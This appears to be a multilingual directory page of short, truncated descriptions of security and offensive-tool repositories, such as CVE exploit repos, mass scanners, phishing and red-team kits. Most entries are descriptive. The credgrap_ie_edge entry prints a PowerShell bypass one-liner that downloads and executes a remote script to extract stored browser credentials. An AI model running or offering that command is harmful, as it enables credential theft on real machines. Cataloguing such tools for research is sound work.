norimaci

Norimaci "Norimaci" is a simple and lightweight malware analysis sandbox for macOS. This tool was inspired by "Noriben". Norimaci uses the features of OpenBSM or Monitor.app to monitor macOS system activity instead of Sysinternals Process Monitor procmon. Norimaci consists of 3 Python scripts...

CVE-2018-15982

Credits @Ridter https://github.com/Ridter/CVE-2018-15982EXP @prsecurity https://github.com/prsecurity/CVE-2018-15982 Description Aggressor Script to launch an Internet Explorer driveby attack using CVE-2018-15982 exploit for Flash player. Affected Product Versions Adobe Flash Player Host...

masscan

MASSCAN: Mass IP port scanner This is an Internet-scale port scanner. It can scan the entire Internet in under 5 minutes, transmitting 10 million packets per second, from a single machine. Its usage parameters, output is similar to nmap, the most famous port scanner. When in doubt, try one of tho...

masscan

MASSCAN: Massen-IP-Port-Scanner Dies ist ein Port-Scanner für das Internet-Maßstab. Er kann das gesamte Internet in weniger als 5 Minuten scannen, indem er 10 Millionen Pakete pro Sekunde überträgt, von einer einzigen Maschine. Seine Verwendung Parameter, Ausgabe ähnelt nmap, dem bekanntesten...

exploitarium

https://discord.gg/WytKH65ZR join up for research, help, documentation, and more useful information for those interested. Statement This repo was incomplete when published. In regard to AI usage, my fuzzing workflow was automated by AI with a strict workflow. I used GPT-5.3 for ALL the fuzzing, a...

CVE-2018-4878

Author and Credits Author: Vincent Yiu @vysecurity Credits: @evi1cg: Helping me test and keep me motivated @smgoreli: Original Calc.exe PoC @kbandla: He knows, and I know. ; Disclaimer Developed to encourage more Aggressor script development. Use only in authorized penetration testing! Descriptio...

melting-cobalt

melting-cobalt 👀 Una herramienta para cazar/minar balizas de Cobalt Strike y "reducir" su configuración de baliza para indexación posterior. Las cacerías pueden ser expansivas y a nivel de internet utilizando servicios como SecurityTrails, Shodan, o ZoomEye, o una lista de IPs. Comenzando 1...

abaddon

Abaddon Red team operations involve miscellaneous skills, last several months and are politically sensitive; they require a lot of monitoring, consolidating and caution. Wavestone’s red team operations management software, Abaddon, has been designed to make red team operations faster, more...

ssj

SSJ - Your everyday Linux distribution gone Super Saiyan. Introduction SSJ is a silly little script that makes use of Docker installed on your everyday Linux distribution Ubuntu, Debian, etc. and magically arms it with hundreds of penetration testing and forensic tools. Technical Details SSJ pull...

cve-2016-0189

CVE-2016-0189 Proof-of-Concept-Exploit für CVE-2016-0189 VBScript-Speicherfehler im IE11 Getestet unter Windows 10 IE11. Write-up http://theori.io/research/cve-2016-0189 Ausführung 1. Laden Sie support/.dll oder kompilieren Sie .cpp selbst und exploit/.html in ein Verzeichnis herunter. 2. Stellen...

credgrap_ie_edge

credgrapieedge المحتوى: استخراج بيانات الاعتماد المخزنة من Internet Explorer و Edge المؤلف: Florian Hansemann | @HanseSecure | https://hansesecure.de التاريخ: 04/2018 الاستخدام powershell -nop -exec bypass -c "IEX New-Object Net.WebClient.DownloadString'http://bit.ly/2K75g15'" التوصية حل PowerShe...

mongoBuster

mongoBuster Caçe instâncias MongoDB abertas! Características Scanner mais rápido e eficiente do mundo usa Masscan. Varre a internet inteira por padrão, então ative a ferramenta e relaxe. Hiper eficiente - usa Go-routines que são ainda mais leves que threads. Pré-requisitos - Linguagem Go sudo apt...

snuck

snuck Automatic XSS filter bypass Overview snuck is an automatic tool whose goal is to significantly test a given XSS filter by specializing the injections on the basis of the reflection context. This approach adopts Selenium to drive a web browser in reproducing both the attacker and the victim...

gophish

Gophish Gophish: Open-Source Phishing Toolkit Gophish is an open-source phishing toolkit designed for businesses and penetration testers. It provides the ability to quickly and easily setup and execute phishing engagements and security awareness training. Install Installation of Gophish is...

pi-hole

...

CVE-2017-17692

CVE-2017-17692 Titolo Exploit: SOP Bypass Data: 06 settembre 2017 Link Software: https://play.google.com/store/apps/details?id=com.sec.android.app.sbrowser&hl=en Autore Exploit: Dhiraj Mishra Contatto: http://twitter.com/mishradhiraj Sito Web: http://datarift.blogspot.in/ Categoria: Browser Video...

CVE-2021-40444_builders

CVE-2021-40444 Builder Dieses Repository enthält Builder für CAB-Dateien, HTML-Dateien und DOCX-Dateien für den Exploit CVE-2021-40444. Dieses Repository dient ausschließlich Test-, Forschungs- und Bildungszwecken. Du bist selbst dafür verantwortlich, wie du den Code aus diesem Repository...

cve-2018-8389

jscript.dll - ActiveXObject BSTR - Use After Free Schwachstelle Das Referenzieren von Speicher, nachdem dieser freigegeben wurde, kann dazu führen, dass ein Programm abstürzt, unerwartete Werte verwendet oder Code ausführt. Beschreibung der Schwachstelle Eine Sicherheitslücke bezüglich der...

RFC-Security-Research

RFC-Security-Research Original-Papier und Hilfsskripte zur Analyse von Sicherheitsaspekten von Internet-RFCs. Übersicht Dieses Repository enthält eine Überprüfung der RFC-Sicherheit im Stil eines RFC geschrieben sowie verschiedene Python-Hilfsskripte, die verwendet wurden, um die für die zugrunde...

zmap

ZMap: Lo Scanner Internet ZMap è uno scanner di rete veloce, stateless e a singolo pacchetto, progettato per indagini su scala Internet. Su un tipico computer desktop con connessione Ethernet gigabit, ZMap è in grado di scansionare l'intero spazio degli indirizzi IPv4 pubblico su una singola port...